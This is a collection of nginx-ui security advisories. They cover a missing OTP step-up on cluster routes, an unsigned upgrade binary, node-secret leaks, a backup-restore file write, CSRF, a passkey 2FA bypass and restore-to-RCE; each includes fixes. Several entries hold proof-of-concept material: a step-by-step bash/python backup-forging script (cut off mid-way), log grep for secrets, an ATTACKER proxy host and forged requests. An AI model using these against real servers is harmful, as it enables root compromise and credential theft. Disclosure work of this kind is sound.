Where
-Infinity
0
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Incomplete fix of GHSA-5v7c-xpfp-p65m: the secure-session (OTP step-up) requirement added to the nginx, cert, dns, backup, site, and stream mutation routers was not applied to the parallel api/cluster router, so cluster node management and cluster-wide nginx reload/restart run with only a JWT and no step-up. An authenticated user whose JWT is stolen or persisted, but who does not hold a fresh secure-session, can perform cluster node CRUD (including reading and rewriting a node token secret) and trigger cluster-wide nginx reload/restart. Confirmed at HEAD 2cb7ee9102c9d87274de2fa104db804841d140a0.

The defect

GHSA-5v7c-xpfp-p65m required a fresh secure session (an OTP step-up beyond the JWT) for sensitive mutation routes. The fix wrapped the nginx, cert, dns, backup, site, and stream mutation handlers in middleware.RequireSecureSession() and added reload/restart to the MCP sensitive-tool list. It did not touch the physically separate api/cluster package, whose router registers the same class of sensitive operations on the bare authenticated group.

The fixed sibling, api/nginx/router.go:

go o := r.Group("", middleware.RequireSecureSession()) // line 28 { o.POST("nginx/reload", Reload) // line 30 o.POST("nginx/restart", Restart) // line 31 }

The missed router, api/cluster/router.go, registers every sensitive operation directly on r with no RequireSecureSession wrapper:

go nodeGroup := r.Group("nodes") // line 9, no step-up { nodeGroup.POST("", AddNode) // line 12 nodeGroup.POST("/:id", EditNode) // line 13 nodeGroup.DELETE("/:id", DeleteNode) // line 14 } r.POST("nodes/reloadnginx", ReloadNginx) // line 17 r.POST("nodes/restartnginx", RestartNginx) // line 18 r.POST("namespaces", AddNamespace) // line 22 r.POST("namespaces/:id", ModifyNamespace) // line 23 r.DELETE("namespaces/:id", DeleteNamespace) // line 24

Both routers mount on the same group in router/routers.go: g := root.Group("/", middleware.AuthRequired(), middleware.Proxy()) (line 87); nginx.InitRouter(g) creates its own RequireSecureSession subgroup, cluster.InitRouter(g) does not. So the cluster routes inherit only AuthRequired and Proxy, exactly the pre-fix posture the advisory closed for the nginx routes. AuthRequired has no role gate, so any authenticated user reaches them.

Attacker model and impact

An authenticated, OTP-enabled user who does not present a fresh X-Secure-Session-ID (the parent advisory's model: a stolen or persisted JWT used without the step-up). Such a user can: add/edit/delete cluster nodes (AddNode/EditNode store an AES-serialized node token, the secret used to control a remote node, so this reads back and rewrites a cross-node credential); trigger nodes/reloadnginx and nodes/restartnginx across the cluster (the exact reload/restart action class the fix protected on the single-node path); and add/modify/delete/reorder namespaces.

Proof of concept: with a valid JWT but no fresh secure session, call POST /api/nodes (AddNode) or POST /api/nodes/reloadnginx. The nginx equivalent POST /api/nginx/reload returns the secure-session challenge; the cluster route succeeds.

Verification

Source-verified at HEAD: the nginx router wraps reload/restart in RequireSecureSession, the cluster router registers node/namespace/reload/restart directly on the group with no such wrapper, and both mount on the AuthRequired+Proxy-only group. I did not stand up a live nginx-ui.

Suggested fix

Wrap the cluster router's mutation handlers (node CRUD, nodes/reloadnginx, nodes/restartnginx, namespace CRUD) in middleware.RequireSecureSession(), mirroring api/nginx/router.go. Secondary lower-confidence items worth checking in the same pass: the system/restart handler, the core-upgrade websocket, and the upstream socket PUT also appear to run without the step-up (I did not fully trace these).

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary The self-upgrade downloads the release binary and its checksum (.tar.gz and .tar.gz.digest) through the SAME endpoint (version.GetUrl(), which is githubproxy or, by default, the project's cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest: digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary runs as the nginx-ui user (typically root).

Because integrity rests only on a digest fetched from the same place as the binary, anyone who controls that download path can substitute a malicious binary plus a matching digest and obtain code execution as root on the next upgrade. Additionally, the githubproxy setting accepts http:// URLs, so the binary+digest can be fetched over cleartext.

Affected code - internal/version/url.go GetUrl(path) = <githubproxy or cloud.nginxui.com>/<path> — used for BOTH the binary and the digest. - internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped with GetUrl(), fetched, and checked with digestFileContent == DigestSHA512(tarName). No signature verification anywhere in internal/upgrader/. - selfupdate.CommitBinary then replaces the running binary; the process restarts. - settings/http.go: GithubProxy accepts any URL (binding:"omitempty,url"), including http://.

Attack scenarios A. Compromised mirror / CDN (primary). By default the binary+digest are routed through cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades, yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the mirror). A binary signature would prevent this. B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of githubproxy; the field accepts http://, so the binary+digest are fetched in cleartext. An attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router) substitutes a malicious binary + matching digest -> root RCE on the next upgrade. C. (mechanism demonstration) An authenticated user sets githubproxy to a server they control and triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it is included only to demonstrate that an unsigned attacker binary is accepted and executed.

Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism An attacker HTTP server serves any .tar.gz -> a malicious tarball (whose nginx-ui is a script that writes a marker as whoever runs it) and any .digest -> the SHA-512 of that tarball. 1. Set the download origin to the attacker server (here via githubproxy; in scenarios A/B this is instead a compromised mirror / MITM): POST /api/settings with http.githubproxy = http://ATTACKER:8890 -> 200. The field accepts the http URL. 2. Trigger the upgrade: WS GET /api/upgrade/perform, send {"channel":"stable"}. 3. Observed: - The attacker server received BOTH GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest and .../nginx-ui-linux-64.tar.gz (over cleartext http). - WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked. - Inside the container: /tmp/UPGRADEPWNED = UPGRADERCEEXECUTED uid=0 -> the malicious binary replaced nginx-ui and EXECUTED AS ROOT.

Impact Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these.

Honest scope / caveats - Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is accepted and executed as root, and the binary+digest are fetched over cleartext http when an http proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy). - NOT staged (threat-model assumptions, not PoC artifacts): actually compromising cloud.nginxui.com / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are standard attacker capabilities, marked here as analysis. - The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to cloud.nginxui.com+GitHub plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which matters when the source is compromised or the transport is cleartext (http proxy).

Suggested fix Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin as the binary. Reject http:// for githubproxy (require https). Consider treating githubproxy as a protected setting.

Dedup / novelty Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Infoleak, SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, ordinary authenticated users can access /api/nodes and /api/nodes/:id, whose responses serialize the node token field. The same token is accepted as X-Node-Secret by AuthRequired and maps the request to initUser, allowing the user to impersonate a trusted node against a reachable cluster member. This cross-node authentication bypass can expose sensitive management operations, including configuration synchronization and service restart. This issue is fixed in version 2.5.0.

1 / 2
Source: MITRE
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary An authenticated user who can create and restore a backup can craft a valid backup archive that causes the restore staging process to write attacker-controlled files into the live Nginx configuration path even when both restorenginx and restorenginxui are set to false.

Details The restore flow always extracts the outer archive, verifies the manifest, decrypts nginx-ui.zip and nginx.zip, and extracts both inner archives before it decides whether RestoreNginx or RestoreNginxUI should be applied. The zip extractor explicitly allows absolute symlinks when the link target is under nginx.GetConfPath() or nginx.GetModulesPath(). Later regular-file entries are then created with os.OpenFile() on the symlinked path, which follows the symlink and writes into the live path.

Relevant code paths: - internal/backup/restore.go - internal/backup/restore.go - internal/backup/restore.go - internal/backup/restore.go - api/backup/restore.go - api/backup/backup.go

This means the restore trust boundary is broken during extraction. A restore request that explicitly opted out of restoring either Nginx or Nginx UI can still modify the live Nginx configuration tree during staging.

PoC I verified this locally in an isolated environment with a temporary package-level harness that exercised the real Backup() and Restore() implementations.

What the executed test did: 1. Created a temporary app.ini, database file, and a temporary live Nginx config directory. 2. Called the real Backup() implementation to obtain a valid backup archive plus AES key/IV. 3. Extracted the outer backup, decrypted nginx.zip, replaced it with a crafted zip containing: - a symlink entry link -> <live nginx conf dir> - a later regular file entry link/poc.conf 4. Recomputed manifest.json size/hash values for the modified encrypted nginx.zip and re-signed manifest.sig with the expected signing key derived from the AES key. 5. Repacked the outer archive and called the real Restore() implementation with: - RestoreNginx: false - RestoreNginxUI: false 6. Verified that <live nginx conf dir>/poc.conf was created anyway.

Observed result from the actual local verification: - The crafted restore completed successfully with both restore flags set to false. - The asserted sink was the existence and content of the live-path file written during restore staging.

Impact Any deployment that allows an authenticated user to create and restore backups is affected. A crafted restore archive can modify the live Nginx configuration path before either restore toggle is honored. This can lead to persistent configuration injection, denial of service on a later reload, or other follow-on impact depending on what files the deployment later consumes from the modified path.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
CSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary Nginx-UI v2.4.3 stores the API JWT in a browser cookie named token and the AuthRequired middleware accepts that cookie as an authentication source. Because management endpoints are protected by AuthRequired and do not enforce a universal CSRF token or Origin/Referer check, a remote attacker can induce a logged-in administrator to submit cross-site state-changing requests. The attacker does not need to read the cross-origin response; the browser-sent cookie is enough to authenticate the request.

Details The root cause is a trust-boundary failure between browser-managed cookies and API bearer-token authentication. In app/src/pinia/moudule/user.ts:25-35, the front end writes the JWT to a token cookie when the token changes. In internal/middleware/middleware.go:16-36, getToken first checks the Authorization header and token query parameter, then falls back to c.Cookie("token"). That fallback causes browser-initiated cross-site requests to carry a valid API credential automatically. The route group in router/routers.go:87-110 applies middleware.AuthRequired() to many management modules, including config.InitRouter, nginx.InitRouter, settings.InitRouter, and backup-related handlers. For accounts without OTP/Passkey, RequireSecureSession does not provide a universal second factor for all state-changing operations. A representative sink is api/config/add.go:68-78, where an authenticated request writes Nginx configuration with os.WriteFile and then calls nginx.Control(nginx.Reload). CORS does not mitigate this issue because preventing cross-origin response reads does not prevent cross-site form or no-cors requests from being sent with cookies.

Core vulnerable code path:

typescript // app/src/pinia/moudule/user.ts:25-35 watch(token, v => { if (v) { cookies.set('token', v, getCookieOptions(86400)) if (!shortToken.value) { void fetchShortToken() } } else { cookies.remove('token', { path: '/' }) shortToken.value = '' } })

The front end stores the authentication token in a token cookie. The cookie is created client-side and is not shown here as HttpOnly; it becomes the credential that the back end later accepts through cookie fallback.

go // internal/middleware/middleware.go:16-36 // getToken from header, cookie or query func getToken(c gin.Context) (token string) { if token = c.GetHeader("Authorization"); token != "" { return }

if token = c.Query("token"); token != "" { if len(token) > 16 { // Long token (base64 encoded JWT) tokenBytes, := base64.StdEncoding.DecodeString(token) return string(tokenBytes) } // Short token (16 characters) return token }

if token, = c.Cookie("token"); token != "" { return token }

return "" }

getToken accepts the token cookie as an authentication credential after checking the header and query parameter. That behavior lets a browser-sent cookie authenticate state-changing API requests triggered from another origin.

go // router/routers.go:87-110 // Authorization required and not websocket request g := root.Group("/", middleware.AuthRequired(), middleware.Proxy()) { debug.InitRouter(g) user.InitUserRouter(g) analytic.InitRouter(g) user.InitManageUserRouter(g) nginx.InitRouter(g) sites.InitRouter(g) streams.InitRouter(g) config.InitRouter(g) template.InitRouter(g) certificate.InitCertificateRouter(g) certificate.InitDNSCredentialRouter(g) certificate.InitAcmeUserRouter(g) dnsapi.InitRouter(g) system.InitPrivateRouter(g) settings.InitRouter(g) llm.InitRouter(g) cluster.InitRouter(g) notification.InitRouter(g) externalnotify.InitRouter(g) backup.InitAutoBackupRouter(g) nginxLog.InitRouter(g) upstream.InitHTTPRouter(g)

Many management modules, including Nginx, configuration, settings, backup, and user management, are placed behind AuthRequired. The cookie fallback therefore protects high-impact state-changing routes, not only read-only endpoints.

go // api/config/add.go:68-78 err = os.WriteFile(path, []byte(content), 0644) if err != nil { cosy.ErrHandler(c, err) return }

res := nginx.Control(nginx.Reload) if res.IsError() { res.RespError(c) return }

This representative sink shows why the CSRF is high impact: once authenticated through the cookie fallback, a request can write Nginx configuration content and trigger a reload.

POC Prerequisites: an administrator is logged in to Nginx-UI and has a browser token cookie; the administrator account has not enabled OTP/Passkey, or the chosen target endpoint does not require secure-session proof; the attacker knows the Nginx-UI management URL and can induce the administrator to visit an attacker-controlled page. Reproduction: (1) Host an attacker page at GET /csrf.html that automatically submits a cross-site request to the victim instance. (2) The page submits POST /api/configs with configuration fields such as basedir, name, content, overwrite, and syncnodeids; the attacker does not need to read the response. (3) When the administrator visits the page, the browser attaches the victim site's token cookie. (4) Expected result: AuthRequired authenticates from the cookie, AddConfig writes the Nginx configuration, and the application attempts an Nginx reload. Testing should use a harmless configuration in an isolated environment.

Impact An attacker can trigger administrative operations while an administrator is logged in, including Nginx configuration creation or modification, reload/restart operations, settings changes, and backup-related actions depending on endpoint protections. Direct impacts include traffic redirection, reverse proxy tampering, denial of service, and sensitive configuration changes. In deployments with permissive Nginx modules or dangerous configuration capabilities, configuration tampering may lead to further server-side impact or internal network abuse.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

nginx-ui supports two second-factor methods — TOTP (OTP) and WebAuthn passkeys — and reports an account as 2FA-enabled when either is configured. However, the password login endpoint (POST /api/login) only enforces a second factor when a TOTP secret is present. An account that has registered a passkey but no TOTP is logged in after password verification alone — the passkey is never requested. This silently downgrades a passkey-protected account to single-factor (password-only) authentication.

Details

The account's 2FA policy treats passkeys as a valid factor (model/user.go):

go func (u User) EnabledOTP() bool { return len(u.OTPSecret) != 0 } func (u User) EnabledPasskey() bool { / true if a passkey row exists / } func (u User) Enabled2FA() bool { return u.EnabledOTP() || u.EnabledPasskey() }

func (u User) AfterFind( gorm.DB) error { u.EnabledTwoFA = u.Enabled2FA() // exposed to the UI as enabled2fa return nil }

But the login handler only checks EnabledOTP() (api/user/auth.go, Login):

go u, err := user.Login(json.Name, json.Password) ... if u.EnabledOTP() { // <-- only TOTP is enforced if json.OTP == "" && json.RecoveryCode == "" { c.JSON(http.StatusOK, LoginResponse{Message: "The user has enabled 2FA", Code: Enabled2FA}) // 199 user.BanIP(clientIP) return } if , err = user.VerifyOTP(u, json.OTP, json.RecoveryCode); err != nil { / ... / } secureSessionID = user.SetSecureSessionID(u.ID) }

// Passkey-only accounts fall through to here and receive a full session token: accessToken, err := user.GenerateJWT(u)

No branch requires a WebAuthn assertion during password login when EnabledPasskey() is true. The root cause is the mismatch between the policy definition (Enabled2FA() = OTP or passkey) and the enforcement check (EnabledOTP() only).

The same EnabledOTP()-only gating in RequireSecureSession() (internal/middleware/securesession.go) means passkey-only users are also exempted from step-up on sensitive actions.

Proof of Concept

Tested against nginx-ui built from source (go build -tags unembed) on 127.0.0.1:9000, with WebAuthn configured and a victim account that has a registered passkey and no TOTP. The vulnerable code is identical on the production main branch (api/user/auth.go Login gates on u.EnabledOTP() only; verified at commit 6c86e5a, 2026-05-17).

Account state advertised by GET /api/2fastatus:

json {"enabled":true,"otpstatus":false,"passkeystatus":true, ...}

Attacker logs in with password only (POST /api/login, encrypted params as the client normally sends):

HTTP 200 {"message":"ok","code":200,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...."}

code: 200 + a valid JWT = an authenticated session, with the passkey never used. For comparison, the identical account with a TOTP secret instead correctly returns the second-factor challenge:

HTTP 200 {"message":"The user has enabled 2FA","code":199}

| Account state | POST /api/login (password only) | |---|---| | Passkey registered, no TOTP | code 200 + JWT — 2FA NOT enforced | | TOTP registered | code 199 — 2FA challenge enforced |

This isolates the defect: the login path enforces OTP but ignores passkeys.

Impact

- Any account protected only by a passkey is reduced to password-only authentication. An attacker who obtains the password (phishing, reuse, leak) gains full access despite the registered security key. - In nginx-ui all authenticated users are effectively administrators and the terminal feature grants a host shell, so account takeover leads to full control of the managed nginx instance / host. - Users are given a false sense of security: the UI shows the account as 2FA-enabled while the second factor is not enforced at login.

Remediation

- Gate the second-factor decision on u.Enabled2FA() (not u.EnabledOTP()) in Login, in both SSO callbacks, and in RequireSecureSession(). - For a passkey-only user logging in with a password, return a "passkey assertion required" challenge and complete login only after a successful WebAuthn assertion (the beginpasskeylogin / finishpasskeylogin flow already exists and should be required as the second step). - Centralize session-token issuance so no login entry point can skip the 2FA decision.

Affected components

- api/user/auth.go — Login - model/user.go — EnabledOTP, EnabledPasskey, Enabled2FA, AfterFind - api/user/2fa.go — get2FAStatus - internal/middleware/securesession.go — RequireSecureSession

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

1. Vulnerability Summary

nginx-ui's Node.Secret is a master credential that bypasses all JWT/password authentication for the entire API. The application accepts this credential via a URL query parameter (?nodesecret=), causing it to be recorded in plaintext in HTTP access logs, reverse proxy logs, browser history, and HTTP Referer headers. Additionally, the official cluster configuration format embeds node secrets directly into URL query strings stored in app.ini and environment variables, creating a systemic credential exposure pattern across the entire cluster deployment model.

An attacker who gains read access to any log aggregation system, proxy log, or configuration file can extract the node secret and obtain full, persistent, unauthenticated administrative access to the nginx-ui API — including reading TLS private keys, modifying nginx configurations, and (when chained with Bug #1) achieving OS-level code execution.

---

2. Root Cause Analysis

2.1 Node Secret Accepted as URL Query Parameter

The getNodeSecret function reads the credential from the URL query string as a fallback when the X-Node-Secret header is absent: 1

This function is called in both AuthRequired() and AuthRequiredWS() middleware, meaning the query parameter bypass works for all authenticated HTTP and WebSocket endpoints: 2 3

The same pattern is repeated in the WebSocket origin checker, which also reads nodesecret from the URL: 4

2.2 Node Secret Is a Full Authentication Bypass

The documentation explicitly states this is by design: 5

When the secret matches, the middleware sets the request context to an admin-level init user and calls c.Next() — bypassing all JWT validation, session checks, and 2FA: 2

2.3 Cluster Configuration Embeds Node Secrets in URLs

The official cluster configuration format, documented and used in app.example.ini, stores node secrets as URL query parameters: 6

The parseNodeUrl function extracts the secret from the URL's query string and stores it in the database as the node's Token field: 7

This means node secrets are embedded in: - app.ini on disk (readable by any process with filesystem access) - The NGINXUICLUSTERNODE environment variable (visible in ps aux, Docker inspect, Kubernetes pod specs, CI/CD logs) - The SQLite database nodes table as the token column in plaintext

2.4 Node Secret Generation Uses UUID

The secret is auto-generated as a UUID v4 if not set: 8

UUID v4 has 122 bits of entropy, which is adequate. However, the exposure surface described in this report makes entropy irrelevant — the secret is leaked through operational channels, not brute-forced.

---

3. Exposure Surface

The following table maps each exposure vector to its source in the codebase:

| Vector | How It Happens | Who Can See It | |---|---|---| | HTTP access logs | GET /api/settings?nodesecret=xxx logged by nginx/caddy/apache | Log readers, SIEM operators | | Application logs | Gin debug mode logs full request URLs | Server operators, log aggregators | | Browser history | Admin uses ?nodesecret= URL directly | Anyone with browser access | | HTTP Referer header | Page with ?nodesecret= in URL links to external resource | Third-party servers | | WebSocket URL logs | ws://host/api/ws?nodesecret=xxx logged by proxies | Proxy log readers | | app.ini on disk | Cluster node URLs contain nodesecret= | Filesystem readers | | Environment variables | NGINXUICLUSTERNODE=...&nodesecret=... | ps aux, Docker inspect, K8s pod specs | | CI/CD pipeline logs | Env vars printed during deployment | CI/CD log viewers | | Database | nodes.token column stored in plaintext SQLite | DB file readers |

---

4. Proof of Concept

Scenario A: Log-Based Secret Extraction

Step 1 — Attacker gains read access to nginx access logs (e.g., via a misconfigured log aggregator, a compromised monitoring account, or a separate vulnerability).

Step 2 — Search logs for the pattern:

bash grep -oP 'nodesecret=[^&\s"]+' /var/log/nginx/access.log Output: nodesecret=a1b2c3d4-e5f6-7890-abcd-ef1234567890

Step 3 — Use the extracted secret for full API access:

http GET /api/settings HTTP/1.1 Host: target:9000 X-Node-Secret: a1b2c3d4-e5f6-7890-abcd-ef1234567890

Response: Full settings JSON including JwtSecret, NodeSecret, all nginx paths, and all configured credentials.

http GET /api/nginx/config?filepath=/etc/nginx/nginx.conf HTTP/1.1 Host: target:9000 X-Node-Secret: a1b2c3d4-e5f6-7890-abcd-ef1234567890

Response: Full nginx configuration including any embedded credentials.

Scenario B: Environment Variable Exposure in Docker/Kubernetes

Step 1 — Attacker reads a Kubernetes pod spec or Docker Compose file:

yaml environment: - NGINXUICLUSTERNODE=http://10.0.0.1:9000?name=node1&nodesecret=my-node-secret&enabled=true

Step 2 — Extract the secret from the URL query string.

Step 3 — Authenticate to the target node:

http POST /api/nginx/test HTTP/1.1 Host: 10.0.0.1:9000 X-Node-Secret: my-node-secret

The attacker now has full admin access to the cluster node.

Scenario C: Referer Header Leak to Third-Party

Step 1 — Admin navigates to a page with ?nodesecret= in the URL.

Step 2 — That page contains a resource (image, script, analytics) from a third-party domain.

Step 3 — Browser sends:

http GET /analytics.js HTTP/1.1 Host: analytics.third-party.com Referer: https://nginx-ui.internal/api/settings?nodesecret=a1b2c3d4-...

The third-party server receives the node secret in the Referer header.

---

5. Impact

- Confidentiality: Full read access to all nginx configurations, TLS private keys, ACME account credentials, database contents, and all settings stored in app.ini. - Integrity: Full write access to all nginx configurations across all cluster nodes. An attacker can deploy malicious nginx configs, disable TLS, or redirect traffic. - Availability: An attacker can reload or restart nginx with a broken configuration, causing a denial of service. - Persistence: The node secret does not expire and has no revocation mechanism. Once leaked, it provides permanent access until manually rotated. - Cluster-wide blast radius: A single leaked node secret from one cluster member's logs can be used to authenticate to any other node that shares the same secret.

---

6. Affected Versions

All versions of nginx-ui where getNodeSecret reads from c.Query("nodesecret"). Present in the current dev branch. The cluster URL format with embedded nodesecret has been present since v2.0.0-beta.23.

---

7. Recommended Fixes

Fix 1 (Primary) — Remove query parameter support for nodesecret:

go // internal/middleware/middleware.go func getNodeSecret(c gin.Context) (secret string) { // Only accept via header, never via query parameter return c.GetHeader("X-Node-Secret") }

Apply the same change to isTrustedNodeRequest in websocketorigin.go.

Fix 2 — Redesign cluster node configuration format:

The cluster node URL format must not embed secrets in query parameters. Use a separate configuration key:

ini [cluster] Node = http://10.0.0.1:9000?name=node1&enabled=true NodeKey1 = <secret-for-node1>

Or store secrets in a separate secrets file with restricted permissions.

Fix 3 — Encrypt node tokens at rest:

The nodes.token column in the SQLite database stores secrets in plaintext. Encrypt using the CryptoSettings.Secret key before storage.

Fix 4 — Add secret rotation support:

Provide an API endpoint to rotate the Node.Secret and invalidate all existing sessions authenticated via the old secret.

---

8. Timeline

| Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) |

Citations

File: internal/middleware/middleware.go (L73-80) go // getNodeSecret from header or query func getNodeSecret(c gin.Context) (secret string) { if secret = c.GetHeader("X-Node-Secret"); secret != "" { return secret }

return c.Query("nodesecret") }

File: internal/middleware/middleware.go (L96-103) go // Check node secret authentication if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { initUser := user.GetInitUser(c) c.Set("Secret", nodeSecret) c.Set("user", initUser) c.Next() return }

File: internal/middleware/middleware.go (L152-158) go if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { initUser := user.GetInitUser(c) c.Set("Secret", nodeSecret) c.Set("user", initUser) c.Next() return }

File: internal/middleware/websocketorigin.go (L39-46) go func isTrustedNodeRequest(r http.Request) bool { secret := strings.TrimSpace(r.Header.Get("X-Node-Secret")) if secret == "" { secret = strings.TrimSpace(r.URL.Query().Get("nodesecret")) }

return secret != "" && secret == settings.NodeSettings.Secret }

File: docs/guide/config-server.md (L109-111) markdown This secret is used to authenticate the communication between the Nginx UI servers. Also, you can use this secret to access the Nginx UI API without a password.

File: app.example.ini (L45-48) text [cluster] Node = http://10.0.0.1:9000?name=node1&nodesecret=my-node-secret&enabled=true Node = http://10.0.0.2:9000?name=node2&nodesecret=my-node-secret&enabled=true Node = http://10.0.0.3?name=node3&nodesecret=my-node-secret&enabled=true

File: internal/cluster/cluster.go (L55-73) go func parseNodeUrl(nodeUrl string) (node model.Node, err error) { u, err := url.Parse(nodeUrl) if err != nil { return } var sb strings.Builder sb.WriteString(u.Scheme) sb.WriteString("://") sb.WriteString(u.Host) sb.WriteString(u.Path)

node = &model.Node{ Name: u.Query().Get("name"), URL: sb.String(), Token: u.Query().Get("nodesecret"), Enabled: u.Query().Get("enabled") == "true", }

return

File: internal/kernel/boot.go (L132-144) go func InitNodeSecret() { if settings.NodeSettings.Secret == "" { logger.Info("Secret is empty, generating...") uuidStr := uuid.New().String() err := settings.Update(func() { settings.NodeSettings.Secret = uuidStr }) if err != nil { logger.Error("Error save settings", err) } logger.Info("Generated Secret: ", uuidStr) } }

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

An authenticated nginx-ui user can call POST /api/restore, upload a forged encrypted backup, restore app.ini, set nginx command settings such as TestConfigCmd, and then trigger command execution with POST /api/nginx/test.

This was validated on nginx-ui 2.3.11 2(523) 6c86e5a5 in the local Docker container uozi/nginx-ui:latest.

Impact

An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored app.ini, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands.

Affected Version / Environment

- Version: nginx-ui 2.3.11 2(523) 6c86e5a5 - Deployment: local Docker, uozi/nginx-ui:latest - Base URL used in validation: http://127.0.0.1:8080

Root Cause

/api/restore is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored app.ini into the live nginx-ui config path.

Relevant code paths:

- api/backup/router.go: POST /api/restore - api/backup/restore.go: accepts securitytoken and uploaded backup file - internal/backup/manifest.go: derives backup signing key from supplied AES key - internal/backup/restore.go: restoreNginxUIConfig overwrites live app.ini - internal/nginx/exec.go: nginx command settings execute through shell-backed command paths

Proof of Concept

Assumptions:

- nginx-ui is already running. - $TOKEN is a valid user JWT. - $CONTAINER is the local disposable Docker container name for cleanup and evidence checks.

bash export BASE='http://127.0.0.1:8080' export TOKEN='<valid nginx-ui JWT>' export CONTAINER='nginx-ui'

Run only against a disposable local instance.

bash set -eu

TMP=$(mktemp -d) trap 'rm -rf "$TMP"' EXIT

docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original"

curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \ -H "Authorization: $TOKEN" \ "$BASE/api/backup"

SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers") KEYB64=${SEC%%:} IVB64=${SEC#:} KEYHEX=$(printf '%s' "$KEYB64" | base64 -d | xxd -p -c 256) IVHEX=$(printf '%s' "$IVB64" | base64 -d | xxd -p -c 256)

mkdir -p "$TMP/outer" "$TMP/inner" unzip -q "$TMP/backup.zip" -d "$TMP/outer" openssl enc -d -aes-256-cbc -K "$KEYHEX" -iv "$IVHEX" -nosalt \ -in "$TMP/outer/nginx-ui.zip" \ -out "$TMP/nginx-ui.clear.zip" unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner"

python3 - "$TMP/inner/app.ini" <<'PY' from pathlib import Path import sys

p = Path(sys.argv[1]) cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce" lines = p.readtext().splitlines() out = [] innginx = False seennginx = False written = False

for line in lines: s = line.strip() if s.startswith("[") and s.endswith("]"): if innginx and not written: out.append(cmd) written = True innginx = s.lower() == "[nginx]" seennginx = seennginx or innginx if innginx and s.startswith("TestConfigCmd"): if not written: out.append(cmd) written = True continue out.append(line)

if innginx and not written: out.append(cmd) elif not seennginx: out.extend(["", "[nginx]", cmd])

p.writetext("\n".join(out) + "\n") PY

(cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .) openssl enc -aes-256-cbc -K "$KEYHEX" -iv "$IVHEX" -nosalt \ -in "$TMP/nginx-ui.modified.clear.zip" \ -out "$TMP/outer/nginx-ui.zip"

OUTER="$TMP/outer" KEYB64="$KEYB64" python3 <<'PY' from pathlib import Path import base64 import hashlib import hmac import json import os

outer = Path(os.environ["OUTER"]) key = base64.b64decode(os.environ["KEYB64"]) manifest = json.loads((outer / "manifest.json").readtext())

for entry in manifest["files"]: data = (outer / entry["name"]).readbytes() entry["sha256"] = hashlib.sha256(data).hexdigest() entry["size"] = len(data)

